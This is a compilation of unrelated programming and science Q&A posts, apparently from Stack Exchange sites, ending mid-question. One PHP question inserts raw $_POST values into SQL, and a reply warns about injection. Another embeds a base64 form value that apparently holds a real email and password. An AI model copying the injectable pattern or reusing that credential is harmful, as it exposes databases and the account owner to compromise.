A: In addition to what has been already written by chutz, the reference to the duration of a tick can be found in man 2 times:

The number of clock ticks per second can be obtained using:
     sysconf(_SC_CLK_TCK);

which is a system function to be called in C but also can be obtained by simply running getconf CLK_TCK in your shell. This number is a compile-time constant and could be changed by anyone touching the source files, but this would be a rather rare event - common Linux distros all come with the value 100.
For example:
$ getconf CLK_TCK
100


text:
Q: crystal report maximum report processing im using asp.net crystal report......i just upload the crystal in server and comiled i got error like"The maximum report processing jobs limit configured by your system administrator has been reached".
then i just used
protected crysview_Unload()
{
report.close();
report.dispose();
}
then i did'nt got error but when i open this in second time it cant open the crystal report......

A: You might try putting the Close() and Dispose() calls in the Page_Unload method, because I think the CRViewer control may still be keeping a reference to the report in the background.
I suggest taking a look at this forum post on the Microsoft ASP.NET Forums, it seems to be a common problem with Crystal Reports.


text:
Q: failed to send special characters in header I am trying to sending some special character in header from javascript using this code:
  $scope.validatePass = function (pincode,userName) {
                httpCallConfig.headers = angular.extend(httpCallConfig.headers || {}, {
                    "Re-Authenticate-Me": "Yes"
                    , "j_username": userName
                    , "j_password": pincode
                });
                $http(httpCallConfig).then(
                    function (resps) {
                        if (resps === false) {
                            return;
                        }
                        $modalInstance.close(resps);
                    }
                    , function (data) {
                        if (data.status == 401) {
                           $log.info("faile pincode");
                        } else {
                            $log.error(data);
                            $scope.error = "other error!";
                        }
                    }
                );
            };

but getting a problem if userName contains any special characters å,ø,æ then server return 401 status. Can someone tell me how and which encoding should i need to use if i need to send special characters.

A: well it just need to encodeURI:
 "j_username": encodeURI(userName)


text:
Q: Making a link bold, immediately after HTML has been loaded and with out any event occur? alert() is working fine, but when I tried to make a link bold, it is not working.
I think it is because of page is already loaded. Is there any way to do that?

A: you can do it using jquery:
$("selector").css('font-weight', 'bold');

A: Using Jquery:
Use ready() to make a function available after the document is loaded:
The ready event occurs when the DOM (document object model) has been loaded.
Because this event occurs after the document is ready, it is a good place to have all other jQuery events and functions.
The ready() method specifies what happens when a ready event occurs.
$(document).ready(function(){
   $('selector').css('font-weight','bold');
});

Using Javascript:
The onload event is a standard event in the DOM, while the ready()
 event is specific to jQuery. The purpose of the ready event is that it should occur as early as possible after the document has loaded, so that code that adds functionality to the elements in the page doesn't have to wait for all content to load.
window.onload = function () {
   all your code goes here.
}


text:
Q: A heat engine based on rubber bands In Feynman's treatment of thermodynamics, The Laws of Thermodynamics, $44–14$ Heat engines; the first law, Feynman said we can use rubber bands to make a heat engine like the one below.

It consists of a bicycle wheel in which all the spokes are rubber bands. If one heats the rubber bands on one side of the wheel with a pair of heat lamps, they become "stronger" than the rubber bands on the other side. The center of gravity of the wheel will be pulled to one side, away from the bearing, so that the wheel turns. As it turns, cool rubber bands move toward the heat, and the heated bands move away from the heat and cool, so that the wheel turns slowly so long as the heat is applied.

Previously, he said rubber band contracts when heated. I think that's what he meant by stronger, but how does this explain the shifting of the center of mass from the bearing?
Contracted or not, the rubber band's mass stays the same, so each sector of the wheel containing a rubber band will have the same mass as before; thus the distribution of mass should be unaffected by the heating in one side, isn'it?

A: Just to elaborate on @Adrian Howard answer, the heated rubber bands on the left side of the wheel contract, pulling the left side of the rim closer to the bearing and the right side moving further away from the bearing (assumes the rim is rigid and does not deform). In order for the rim to move to the right while the bearing remains in place, the cooler rubber bands on the right have to stretch. The net result is the center of mass of the wheel shifts to the right of the original center of mass.
The figures below may help to visualize what is happening.
The wheel at the top is not heated and therefore the center of mass of the wheel is at the center of the bearing.
The lower left figure shows the shift of the rim of the wheel to the right of the bearing due to the contraction of the rubber bands on the left (causing stretching of the rubber bands on the right).
The lower right figure shows how the shift in center of  mass of the wheel to the right creates a clockwise torque about the bearing causing the wheel to rotate.
Hope this helps

A: The hotter, tighter bands will pull the steel rim off center, so the rim will be pulled to the right in your diagram, making the right side heavier.


text:
Q: Page.RegisterAsyncTask and dependent code? We are starting to use Page.RegisterAsyncTask() in our ASP.NET webforms project to add some async goodness to our site. We utilize Page_Load event in most of our pages and in our master page (which is in another dll). The problem we are having is the master page uses a session variable that the inherited form populates:
If Not IsPostBack Then
    If Session("Id") Is Nothing Then
        RegisterAsyncTask(New PageAsyncTask(New Func(Of Task)(Async Function()
                       Await InitializeSessionVariablesAsync(EntryPointCode.AccountAccess)
                                            End Function)))

    End If

In sync mode this code works fine of course because Page_Load for the master page gets called after Page_Load for the inheriting page. When using the code above you end up with errors in the master page when you try to use the session variable because the async task hasn't run yet. I wish there was a way to await the async tasks you registered.
I tried adding  ExecuteRegisteredAsyncTasks right after registering the call to RegisterAsyncTask but that didn't help.

A: WebForms' support for async is a bit awkward. In particular, tasks registered with RegisterAsyncTask will be executed after PreRender, which is too late for Load.
One option may be to change the master code Load handler to a PreRenderComplete handler, which (if I understand correctly) should be raised after the async tasks complete.
Otherwise, you might be able to save the task itself in the session, something like:
If Session("Id") Is Nothing Then
    Session("LoadTask") = InitializeSessionVariablesAsync(EntryPointCode.AccountAccess)
End If

then in your master page:
Await Session("LoadTask")

But this would only work if you're using the in-proc session provider; any other provider would require serialization and would break.
So, you may need to just keep this code synchronous for now. ASP.NET MVC has similar issues today (not supporting async filters).


text:
Q: How to customize UITextField to look like table I'm trying to create login view for my iOS App something like this table view :

Should I have to make a Custom Background Image or is there any easier way to do this?

A: There are two ways
1.you can go for custom back ground and then add two textfields exactly where you want them to be then set the border style to none.
2.You can choose tableview then you can add textfields to it.
Whatever the way is you need to scroll or animate  the view when keyboard pops up for better look.If you use the first 1 you should add scroll view,for the second 1 no need to add scrool because table view  is a child of scroll view.


text:
Q: How to remove Firefox Alert sound without lowering the system sound I am trying to remove or mute the Firefox sound (The BOOM sound and the Quick Drum sound) when:

*

*I try to close Firefox with multiple Tabs

*A download fails

*Any other case where that HORRIBLE heart killing sound pops up

I read several ways to do this but all involve either lowering the sound of firefox via the System Settings, or lowering the overall sound of the system, both of which I do not want to do. I just want to actually remove or disable the sound.
Note that I still want to get the warning but without the horrible sound.
PS - It is also my suggestion that that sound will make you go deaf and blind if not already. I think a cat dies every time that sound is heard and scares the hell out of me when I am working calm and quiet.

A: I see three options:

*

*Delete (move) the actual alert sound file, or lower its volume

*

*It's /usr/share/sounds/ubuntu/stereo/dialog-question.ogg

*Mute all alerts from Sound Settings:

*(for advanced users only): Add an AppArmor rule to Firefox's profile preventing it from accessing the /usr/share/sounds directory. (can add instructions if you need)


text:
Q: how to execute a loop in a loop in Robot Framework An example of what I need: I have a list of dropdown box and each of the dropdown has 'n' numbers of list of items. I have to verify that all the drop down items are clickable in all the dropdowns box.

A: You can put a loop inside a keyword. Then in another the loop, call that keyword
Some thing like this
*** Test Cases ***
Run Test
    :FOR    ${i}    IN    ${List}
     \    Keyword A

*** Keywords ***
Keyword A
    # do your loop here

A: *** Test Cases ***
Test Case

     @{list}=  Create List
     ${dbvalues}=  SQL Query
     :FOR  ${variable}  IN  {dbvalues}
     \  ${Value}=  Test Step1  ${variable}
     \  ..........
     \  .........
     \  Append To list  ${list}  ${Value}


text:
Q: Share Data Binding Between Class and Struct View For example, when I get data from API success or unsuccess I would like to show Alert but Alert there need isPresented type is Binding that's why I want to use concept Share Data as Binding between class and View is possible or have another way to do please help thanks advance.

A: @Published properties work well for sharing data between ObservableObjects and Views.
For example:
class ViewModel : ObservableObject {
    struct APIError : Identifiable {
        var id = UUID()
        var message : String
    }

    @Published var error : APIError?

    func apiCall() {
        DispatchQueue.main.asyncAfter(deadline: .now() + 1) {
            self.error = APIError(message: "Error message")
        }
    }
}

struct ContentView : View {
    @StateObject var viewModel = ViewModel()

    var body: some View {
        VStack {
            Text("Hello, world!")
                .alert(item: $viewModel.error) { item in
                    Alert(title: Text(item.message))
                }
        }
        .onAppear {
            viewModel.apiCall()
        }
    }
}

You could also do this with a custom Binding, but it's a little messier. The above example would definitely be my go-to.
class ViewModel : ObservableObject {
    @Published var errorMessage : String?

    var alertBinding : Binding<Bool> {
        .init {
            self.errorMessage != nil
        } set: { newValue in
            if !newValue { self.errorMessage = nil }
        }

    }

    func apiCall() {
        DispatchQueue.main.asyncAfter(deadline: .now() + 1) {
            self.errorMessage = "Error!"
        }
    }
}

struct ContentView : View {
    @StateObject var viewModel = ViewModel()

    var body: some View {
        VStack {
            Text("Hello, world!")
                .alert(isPresented: viewModel.alertBinding) {
                    Alert(title: Text(viewModel.errorMessage ?? "(unknown)"))
                }
        }
        .onAppear {
            viewModel.apiCall()
        }
    }
}


text:
Q: Loading data from database to combo box using another thread I want to add items in combo box after getting a column from database table. To achieve performance I have placed this task in a newly created thread
for (int i = 0; i < dataTable.Rows.Count; i++)
{
    comboBox.Items.Add(dataTable.Rows[i][0].ToString());
}

but it gives the following exception:
"Cross thread operation not valid"
I searched for it and tried to solve this problem with the help of different methods, delegates. I tried to pass the whole dataTable to another method but couldn't solve the problem.
Please tell me how do I solve it?

A: Simply wrap the code in a delegate passed to BeginInvoke:
comboBox.BeginInvoke(
    (Action)(() =>
    {
       for (int i = 0; i < dataTable.Rows.Count; i++)
       {
          comboBox.Items.Add(dataTable.Rows[i][0].ToString());
       }
    }));

This way you are forwarding the updates to the GUI thread, because it's the only thread allowed to make changes on the GUI.

A: You can ( and probably should ) run the database query on a background thread, but you must update UI controls on the UI thread. That's just the way Windows works.

A: Your thread is not the UI thread. Only the UI thread can access to the UI controls like your combobox
So your method to update the combobox items should check if it's called from the UI thread and (if not) switch to that before trying to use the combobox .
public delegate void OnAddTable(DataTable dataTable);

private void AddTable(DataTable dataTable)
{
    if(this.InvokeRequired)
    {
        this.BeginInvoke(new OnAddTable(AddTable), new object[] {dataTable}));
        return;
    }
    for (int i = 0; i < dataTable.Rows.Count; i++)
    {
        comboBox.Items.Add(dataTable.Rows[i][0].ToString());
    }
}


text:
Q: Почему добавляется __PROTO__, как создать чистый массив без __PROTO__? Почему добавляется __PROTO__, как создать чистый массив без __PROTO__?
Массив генерируется примерно таким методом:

let obj = [];
for(let i = 0; i < 5; i++){
  obj[i] = {'test': i};
}
console.log(obj);

При использовании потом $.each(obj, function(i, item){ ... }); идет бесконечный цикл

A: __proto__ это устаревшее свойство для получения прототипа объекта, расположено оно в Object.prototype так как Array является наследником Object создать массив без этого свойства - невозможно.

A: Пустой массив:
const obj = []

является представителем класса Array, исходя из чего он имеет прототип благодаря прототипному наследованию в JavaScript.


text:
Q: python, I am not able to save special characters, such as θæŋ after making re,search I am not able to save special characters, such as θæŋ after making re.search.
I am saving to the Django model Textfield. in Admin page, Instead of θæŋkfəli, i am getting
\xce\xb8\xc3\xa6\xc5\x8bkf\xc9\x99li

Is it error of re.search?
Is it error of Admin?
Am i saving wrongly?
How to search for needed part of string an save it in the Textfield of the model with 'θæŋ' characters?
lines='title="Listen to audio" />/ˈθæŋkfəli/ adverb' #the string which i wan to save exactly as it is, Django saves it correctly

liness=smart_str(lines, encoding='utf-8', strings_only=False, errors='replace') # saves correctly
linesu=smart_unicode(lines, encoding='utf-8', strings_only=False, errors='replace')  # saves correctly

After trying to seach part of string θæŋkfəli Django does not save it in needed special characters. Instead of θæŋkfəli, I am getting "\xce\xb8\xc3\xa6\xc5\x8bkf\xc9\x99li"
stryc=re.compile('\s*/\s*(?P<Pronun>.*)', re.DOTALL)
                    #\s+/\s+\s+[\\a-zA-Z0-9\s]+/\s+ '
strys=re.search(stryc, linesu)

Pronun=stryWordcs.groups('Pronun')
text=Pronun.encode('utf-8') # does not covert unicode to letters
Pronun=smart_str(Pronun, encoding='utf-8', strings_only=False, errors='replace') # also does not covert unicode to letters
a=Pronunciation(field=Pronun) # or field=text
a.save()
# Pronun=  "θæŋkfəli", nevertheless it is saved as  \xce\xb8\xc3\xa6\xc5\x8bkf\xc9\x99li or in unicode

if i do not use smart_str, i am getting "\u03b8\xe6\u014bkf\u0259li"
if i try to search in lines or liness i am not able to find  θæŋkfəli due special character  ˈ (small stick on top =\xcb\x88 = \u02c8)
regards,
gintare

A: When you see "\xce\xb8\xc3\xa6\xc5\x8bkf\xc9\x99li, what you're seeing is in fact the same as θæŋkfəli, but in hexadecimal notation. Similarly, you could represent the same set of characters as
U+03B8 U+00E6 U+014BkfU+0259li
This is because the text is stored as a unicode string. To see that this is actually the same, try copying your text (with the special characters) into the top box in this conversion website and hitting convert. Python is able to handle unicode but depending on what you're using to display the characters it's going to come out differently.
I'm not entirely sure what your question is. If you're concerned about your regular expression being able to accurately match the unicode characters, python's re module has an option to make it work differently with unicode.
If you're concerned about how this text is being displayed, this is going to vary based on how you're trying to display it, and you'll need to be more specific about your problem.
I can assure you though, that Django is storing your string just fine.


text:
Q: Delphi function to convert Result of WrapText to TStringList I use this function to insert carriage returns on a string so it is nicely formatted for emailing:
  m := WrapText(m, #13#10, ['.',' ',#9,'-'], 60);

The problem is my email client has a 1023 character limit when processing strings.  So if the original length of m is greater than 1023, it gets truncated (Note: the email client probably has events to handle this situation, but I think an easier approach is to just feed it strings less than the limit).
I am looking for a "WrapTextToStringList" function like this:
var
  mStringList: TStringList;
begin
  mStringList := WrapTextToStringList(m, #13#10, ['.',' ',#9,'-'], 60);

So say I passed this a 220 character body of an email message.  The results would be a string list with approximately 4 entries.
I think this just boils down to creating a function which parses a string at #13#10 into a string list.
Anyone got one?

A: TStringList already has a built-in method to parse a string at #13#10 into a string list.
MyStringList := TStringList.Create;
MyStringList.Text := MyString;

This will populate the list by parsing the string and creating a new entry in the list whenever it finds a return.


text:
Q: Pause Stopwatch Timer with Sleep Thread? I'm trying to make a stopwatch in Java and don't know how to pause and continue my timer.  Here is what I have done so far.
startButton.addActionListener(this);
stopButton.addActionListener(this);
pauseButton.addActionListener(this);

public void actionPerformed(ActionEvent e) {
    Calendar aCalendar = Calendar.getInstance();
    if (e.getSource() == startButton){
        start = aCalendar.getTimeInMillis();
        startButton.setBackground(Color.GREEN);
        stopButton.setBackground(null);
        pauseButton.setBackground(null);
    } else if (e.getSource() == stopButton) {
        stopButton.setBackground(Color.RED);
        startButton.setBackground(null);
        pauseButton.setBackground(null);
        aJLabel.setText("Elapsed time is: " +
                (double) (aCalendar.getTimeInMillis() - start) / 1000 );
    } else if (e.getSource() == pauseButton) {
        pauseButton.setBackground(Color.YELLOW);
        stopButton.setBackground(null);
        startButton.setBackground(null);
    }
}

As you can see, I've only changed the colors for my pause button.  I don't really know how to pause the thread by having the user click on the button.  All examples I've found of thread.sleep() were with a specific time.

A: You can use the swing.Timer (not util.Timer) like this:
int interval = 100; // set milliseconds for each loop
Timer timer = new Timer(interval, (evt) -> repeatingProccess());
// create the method  repeatingProccess() with your
// code that makes the clock tick

startButton.addActionListener(e -> timer.start());
stopButton.addActionListener( e -> {
    timer.stop();
    // here refresh your clock with some code...
};
pauseButton.addActionListener(e -> timer.stop());

You write a method called repeatingProccess() and it works in its own thread again and again every interval milliseconds. For a clock that counts seconds you can do this:
int interval = 1000;
int seconds = 0;
public void repeatingProccess() {
    seconds++ ;
}

note:
   The second will not be exactly 1000 milliseconds but around 1001 because of the time needed to run seconds++ but you can fix that as well by getting System time before and after and substracting the difference from your clock. You should use the Calendar API for this.


text:
Q: Usefulness of Laplacians for directed graphs Are laplacians for directed graphs used in any algorithms ? For example laplacians for the undirected graphs are used in algorithms such as spectral clustering.

A: I know nothing about spectral clustering, but here is one use of Laplacians in directed graphs I do know.
Kirchhoff's matrix tree theorem gives that the number of spanning trees on a directed (multi)graph in the determinant of the reduced Laplacian. With the appropriate definitions the the theorem also holds for directed graphs, see here. As the link shows you can weight your edges how ever you like and count "weighted directed spanning trees" with a specified root.


text:
Q: How can I structure my azure durable functiona folder structure (language-typescript)? I want to use separate activity folders and orchestrator folders and include them inside them.

The issue I'm facing is with the typescript callActivity(inside orchestrator), I cant call activities since we can't pass folder.

A: You can include the Activity functions and Orchestration functions in their respective separate folders, but you can't pass multiple parameters directly to an activity function.

callActivity method requires 2 parameters as shown in your activity function code image.
If you are passing the multiple activity functions with their inputs (values) to the callActivity method, then use arrays form of objects, tuples.
Refer to this MS Doc for more information.


text:
Q: clojure list operation result not equal I test some list operation, find this difference with two syntax。
(conj (cons 321321 [1]) 123123123)
=> (123123123 321321 1)

and
(cons 321321 [1])
=> (321321 1)
(conj [321312 1] 123123123)
=> [321312 1 123123123]

why these result isn't equal?

A: Because you are doing different things.
cons http://clojuredocs.org/clojure.core/cons

Returns a new seq where x is the first element and seq is
    the rest.

conj http://clojuredocs.org/clojure.core/conj

Returns a new collection with the xs
    'added'. (conj nil item) returns (item).  The 'addition' may
    happen at different 'places' depending on the concrete type.

in your first example you are "prepending" a new entry (easiest way for conj to add to a sequence) and in your second example you are "appending" to a vector (again easiest way for conj to add).
user=> (.getClass (cons 321321 [1]))
clojure.lang.Cons
user=> (.getClass (conj (cons 321321 [1]) 123123123))
clojure.lang.Cons

Note you are using [...] next!
user=> (.getClass [321312 1])
clojure.lang.PersistentVector
user=> (.getClass (conj [321312 1] 123123123))
clojure.lang.PersistentVector


text:
Q: How do I decorrupt "git credential-'store"? After generating a new Repository and adding an README, I try to push it to Git, but the following error occurs.
git credential-'store get: -c: line 0: unexpected EOF while looking for matching `''
git credential-'store get: -c: line 1: syntax error: unexpected end of file
git credential-'store get: -c: line 0: unexpected EOF while looking for matching `''
git credential-'store get: -c: line 1: syntax error: unexpected end of file

While global an local credentials are correct.
How Do I correct this error?
Where Do I find that file, that causes it?

A: You can find the file containing the offending bit of config by running git config --list --show-origin.
Just edit the file to remove the bad line of config and you should be good


text:
Q: iframe tracking events using iframeTracker I need to track onClick events inside iframe. I'm using iframeTracker plugin through Google tag. Here is the code
jQuery(document).ready(function($){
    $('.iframe_wrap #FJbanner').iframeTracker({
        blurCallback: function(){
            dataLayer.push({
                'event':'event',
                'eventCategory':'Ad',
                'eventAction':'click',
                'eventLabel':'FJbanner'
            });
        }
    });
});

but it's not working somehow. My other analytics is working though (tracking events within my site)
FJbanner is iframe Id I need to track
I'm using Universal Analytics

A: I managed to get it working. It's all about Google Tag settings. There is a trigger which fires when you send an event like this
dataLayer.push({
    'event':'GAevent',
    'eventCategory':'Ad',
    'eventAction':'click',
    'eventLabel':'FJbanner'
});

trigger expression
Event contain GAevent

so my error was that I didn't set it up correctly. You should specify an event name in a trigger settings according to Event variable value, 'GAevent' in my case


text:
Q: \vphantom and superscripts The superscripts position is exactly the same for these two statements:
\vphantom{\int}^S and {}^S
How can I get the superscript higher up?
Edit
The \intis just an example. Here is another one: \vphantom{)}^S and )^S.

A: The reason is: the macro \vphantom expands to the \mathchoice primitive. This primitive puts the "choice item" to the math list. When the ^ follows, then nucleus of the atom is not created immediately before and you can read the TeXbook, page 291:

<superscript>: If the current list does not end with an atom, a new Ord atom with all fields empty is appended.

Try this:
$ \int^S, {\int}^S  % <- both creates the same result, Ord or Op is irrelevant
  \mathchoice{\int}{\int}{\int}{\int}^S % <- this emulates \vphnatom{\int}^S
  % and the empty atom is inserted (see TeXbook) like:
  \mathchoice{\int}{\int}{\int}{\int}{}^S
  % so the result is the same as:
  {}^S
$

You can solve your problem by:
$ {\vphantom{\int}}^S $

because the Ord atom is created with "choice item" as nucleus.
Note: Ordinary atom is not problem, problem is \mathchoice.

A: The construct \vphantom is not a math operator, thus the rules for an ordinary math atom applies for the superscript. \mathop helps:
\documentclass{article}

\begin{document}
\[
  \int^S = \mathop{\vphantom{\int}}\nolimits^S
\]
\[
  \int\limits^S = \mathop{\vphantom{\int}}^S
\]
\end{document}

With package amsmath an "empty" math operator can be declared with \DeclareMathOperator:
\documentclass{article}

\usepackage{amsmath}
\DeclareMathOperator*{\vint}{\vphantom{\int}}

\begin{document}
\[
  \int^S = \vint\nolimits^S
\]
\[
  \int\limits^S = \vint^S
\]
\end{document}

In case of a larger closing delimiter, \mathclose can help, e.g.:
\documentclass{article}

\begin{document}
\[
  \Biggr)^S = \mathclose{\vphantom{\Biggr)}}^S
\]
\end{document}

I do not know, the reason for the question. If only a lonely higher superscript is needed, then an invisible \rule or \raisebox will help:
\documentclass{article}

\begin{document}
\[
  {}^S < \rule{0pt}{2.5ex}^S < \raisebox{3ex}{$\scriptstyle S$}
\]
\end{document}


text:
Q: How to test Codeigniter webservice with Postman extension in chrome I have build a login web service. But I don't understand how to test it with rest client.
The url is like this:
http://testapp.opinionbureau.com/webservice/sample/ob_login
You can see we are passing data  in below format with method name containing function to be called and data containing array of all variables required.
Array
(
    [method_name] => ob_login
    [data] => Array
        (
            [email] => test@aa.com
            [password] => test
            [cultureid] => 4
        )
)
in hidden input named 'req' in json format with base64 encode method. And in that function "ob_login" we first decode the data and process it accordingly.
The form looks like this:
<form id="form" accept-charset="utf-8" method="post" action="http://testapp.opinionbureau.com/webservice/index">
<input id="req" name="req" value="eyJtZXRob2RfbmFtZSI6Im9iX2xvZ2luIiwiZGF0YSI6eyJlbWFpbCI6InByaW5jZV9ndXB0YTI2MTJAeWFob28uaW4iLCJwYXNzd29yZCI6InNoYWt0aSIsImN1bHR1cmVpZCI6NH19" type="hidden">
<input value="Click To Post" type="submit">
</form>

How can I test this in Rest client.


text:
Q: Databinding methods such as Eval(), XPath(), and Bind() can only be used in the context of a databound control in Gridview I am trying to build a gridview with several columns in it. But I'm facing this error "Databinding methods such as Eval(), XPath(), and Bind() can only be used in the context of a databound control."

I'm not sure why this is happening. I tried changing the syntax of Eval("pid") to (DataBinder.Eval(Container.DataItem,"pid")) but to no avail. What I might be missing?
Here is my aspx code for one column from several other columns.
<asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="false"
                    ShowFooter="false" ShowHeaderWhenEmpty="true"
                    DataKeyNames="pid"
                    OnRowCommand="GridView1_RowCommand"
                    OnRowEditing="GridView1_RowEditing"
                    OnRowCancelingEdit="GridView1_RowCancelingEdit"
                    OnRowUpdating="GridView1_RowUpdating"
                    AllowPaging="True" PageSize="30"
                    Width="100%" AllowSorting="True"
                    OnRowDataBound="GridView1_RowDataBound">

                    <Columns>
                       <asp:TemplateField HeaderText="Project Number" ItemStyle-HorizontalAlign="center">
                            <ItemTemplate>
                                <asp:Label ID="lblPID" Text='<%# Eval("pid")  %>' Width="130px" runat="server"></asp:Label>
                            </ItemTemplate>
                            <EditItemTemplate>
                                <asp:Label ID="txtProjectNumber" Text='<%# Eval("pid") %>' ToolTip='<%# Eval("pid") %>' Width="130px" runat="server"></asp:Label>
                            </EditItemTemplate>
                        </asp:TemplateField>
                   </Columns>
</asp:GridView>

Any help is highly appreciated as I'm stuck on this problem from long time. Thanks in advance.


text:
Q: Seemingly Impossible output of Linked list I have a function that takes a word as input and adds a struct containing that word to the end of a list of linked structs, each of which contain a word and a pointer to the next struct ('node'). But I'm getting a weird output which as far as i can tell should be impossible (but obviously isn't).
Function
void push(char* word) {
    if(first == NULL){         // if runs first time push is called
        first = malloc(46);
        first->next = NULL;
    }
    printf("first->str = %s\n", first->str);
    struct node *current = first;         //start at beginning of linked list
    while(current->next != NULL)          //find the last 'link'
    {
        printf("running while");
        current = current->next;
    }
    current->str = word;
    current->next = malloc(46);
    current->next->next = NULL;
    printf("first->str after = %s\n", first->str);
    printf("current->str after = %s\n", current->str);
}

the struct is
struct node {
    char* str;
    struct node* next;
};

first is declared globally as:
struct node *first = NULL;

Output
first->str = (null)
first->str after = hello
current->str after = hello             //current->str = first->str
first->str = world                    // <-this should not happen
running While
first->str after = world
current->str after = world            //current-str = first->next->str
world
world
(null)

I call this function then get another word and call it again. Here the first word is 'hello' and the second is 'world'. My question is how is world being assigned to first->str when no assignment to either struct has been made with 'world'. In fact nothing has been done to either struct between the end of the last call of push and the beginning of the second call of push, and yet first->str changed from 'hello' to 'world'.

A: use current->str = strdup(word) instead of current->str = word; don't forget to free node->str when destroying node.


text:
Q: how to query embedded object in Hibernate? I have classes A, B
class A{
@Embedded
private B objB;
}

@Embeddable
class B{
Integer x;
Integer y;
float z;
}

Now I have a bunch of class A objs Set, I want to query the database, so that rows contain same x and y in Class B (z is not important in comparison in this case) should be selected, how do I achieve that?
It's like "In" in SQL, but since I am comparing embedded objects, how should I do with it ? Many thanks!!

A: Given the classes:
public class RandomEntity {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    @Embedded
    private EmbeddableEntity embedded;
}

and
@Embeddable
public class EmbeddableEntity {
    private Long valueA;
    private Long valueB;
}

You can query it like:
session.createQuery( "select a from RandomEntity a where a.embedded.valueA=:value" ).setParameter( "value", 1L ).list();

Hibernate: select randomenti0_.id as id1_2_, randomenti0_.valueA as valueA2_2_, randomenti0_.valueB as valueB3_2_ from RandomEntity randomenti0_ where randomenti0_.valueA=?

or:
session.createQuery( "select a from RandomEntity a where a.embedded.valueA in (:value)" ).setParameterList( "value", Arrays.asList( 1L, 2L ) ).list();

Hibernate: select randomenti0_.id as id1_2_, randomenti0_.valueA as valueA2_2_, randomenti0_.valueB as valueB3_2_ from RandomEntity randomenti0_ where randomenti0_.valueA in (?)


text:
Q: my db is not INSERTing some values I have the following codes:
   $query = "INSERT INTO main_table (id, matric_no, session, semester,
                                    course_name, test, exam,practical)
       VALUES (NULL, '$_POST[matric_no]', '$_SESSION[session]',
              '$_SESSION[semester]', '$_SESSION[course_name]', '$_POST[test]',
              '$_POST[exam]', '$_POST[practical]')";

       mysql_query($query) or
       die (mysql_error());

Then I tried:
       echo "$_POST[semester]";
       echo "$_POST[course_name]" ;

and they echoed out what I was expecting but not INSERTing INTO the database.. Only those two.
Thanks.

A: As pointed out in the comments, the problem was a column type mismatch that wasn't visible in the original question.
However, it is a very bad idea to insert POST or other values directly - always run mysql_real_escape_string() (or whatever sanitation function your database library provides) on them. More on SQL injections here.

A: This code should give you a syntax error...
   echo "$_POST[semester]";
   echo "$_POST[course_name]" ;

Try this
   echo "{$_POST['semester']}";
   echo "{$_POST['course_name']}" ;

or this:
   echo "xxx".$_POST['semester']."xxx";
   echo "xxx".$_POST['course_name']."xxx;

More information here:

*

*http://php.net/manual/en/language.types.string.php
Mind that $_POST[xxx] is note the proper syntax !!! Read docs above!


text:
Q: Font messed up in print, but looks good on the screen? Okay, so I turned in this assignment a few days ago. It looked great on my machine (and I've had it tested on other machines too) but it looked DREADFUL once I printed it. The fist page, using bookman (provided by title.tex) looks fine, but the remaining pages (provided by main.tex) don't have the baskervald font properly embedded. This means the font was substitued by a default one (in the printer? The printer software?) and thereby losing it's proper spacing and ligatures...
I've enclosed something more than a MWE because I suspect maybe a package clash is to blame. The only noteworthy thing I left out below is the university title page, which was a PDF (that I had to fix up in Gimp).
I hope someone can tell me what went wrong -- I certainly don't want it to happen again!
Compile chain:
pdflatex title

pdflatex main
biber main
pdflatex main
pdflatex main

main.tex
\documentclass[a4paper,12pt]{report}
\usepackage[style=historian,style=verbose-ibid,isbn=false,backend=biber,bibencoding=utf8]{biblatex}
\bibliography{biblio.bib}
\DefineBibliographyStrings{danish}{%
  bibliography = {Litteraturliste},
  references = {Litteraturliste},
}
\usepackage{pdfpages}
\usepackage[danish]{babel}
\usepackage[utf8]{inputenc}
\usepackage{microtype}
\usepackage{xcolor}
\usepackage[T1]{fontenc}
\usepackage{baskervald}
\usepackage{csquotes}
\usepackage{fancyhdr}
\pagestyle{fancy}
\lhead{\small{\textsc{My Name\\Number: 12345}}}
\chead{\textbf{Exam\\Course}}
\rhead{\small{\textsc{My Number\\Afl. 20/1 2014}}}
\cfoot{\thepage}
\setlength{\headheight}{27.5pt}
\renewcommand{\headrulewidth}{0pt}
\renewcommand{\footrulewidth}{0pt}
\linespread{1.3}
\usepackage[bottom,flushmargin,hang,multiple]{footmisc}
\usepackage{titlesec}
\definecolor{gray75}{gray}{0.75}
\newcommand{\hsp}{\hspace{.5em}}
\titleformat{\chapter}[hang]{\Huge\bfseries}{\thechapter\hsp\textcolor{white}{}\hsp}{0pt}{\Huge\bfseries}
\titlespacing*{\chapter}{0cm}{-\topskip}{0pt}[0pt]

\usepackage[hidelinks]{hyperref}

\begin{document}

\includepdf{title}
\tableofcontents
\thispagestyle{empty}
\pagestyle{fancy}
\raggedbottom
This here is the text. Here is a reference\footcite[19]{myt} and here is another\footcite[2]{oldstories}
\newpage
\appendix
\addcontentsline{toc}{chapter}{Litteraturliste}
\printbibliography

Brief final statement.
\end{document}

title.tex
\documentclass[a4paper,12pt,oneside]{report}
\usepackage{bookman}
\usepackage[demo]{graphicx}
\usepackage{fix-cm}
\newcommand{\bigsize}{\fontsize{35pt}{20pt}\selectfont}
\begin{document}
\begin{titlepage}
\centering
\vspace{3em}
{\Huge \textsc{Course}}
\vspace{3em}
\includegraphics[width=.8\textwidth]{eck2}\\
\footnotesize{\textit{A pretty picture.}
\vfill
\begin{flushleft}
\large
My University\\
My Number\\
\vspace{1em}
My Name\\
Studienummer\\
Date
\end{flushleft}
\end{titlepage}
\end{document}

biblio.bib
@book{myt,
    address = {London},
    author = {Barthes, Roland},
    publisher = {Paladin Books},
    title = {Mythologies},
    translator = {{A}nnette {L}avers},
    year = {1986},
    note= {Første gang udgivet i 1957}
}

@inbook{oldstories,
    address = {New York og London},
    author = {Elkins, James},
    isbn = {9780415939430},
    publisher = {Routledge},
    title={Old Stories},
    booktitle = {Stories of {A}rt},
    pages={39-55},
    year = {2002}
}

Edit: Added output of pdffonts:
name                                 type              encoding         emb sub uni object ID
------------------------------------ ----------------- ---------------- --- --- --- ---------
JJEBPO+URWBookmanL-Ligh              Type 1            Custom           yes yes no      19  0
GXGNTC+URWBookmanL-LighItal          Type 1            Custom           yes yes no      22  0
OWGWHH+BaskervaldADFStd-Bold         Type 1            Custom           yes yes no      34  0
BXKZQI+BaskervaldADFStd-Regular      Type 1            Custom           yes yes no      35  0
FGJHAQ+BaskervaldADFStd-Italic       Type 1            Custom           yes yes no      38  0
BXKZQI+BaskervaldADFStd-Regular      Type 1            Custom           yes yes no      48  0


text:
Q: How to make UISearchController inactive when switching views A little background on the setting of our views:
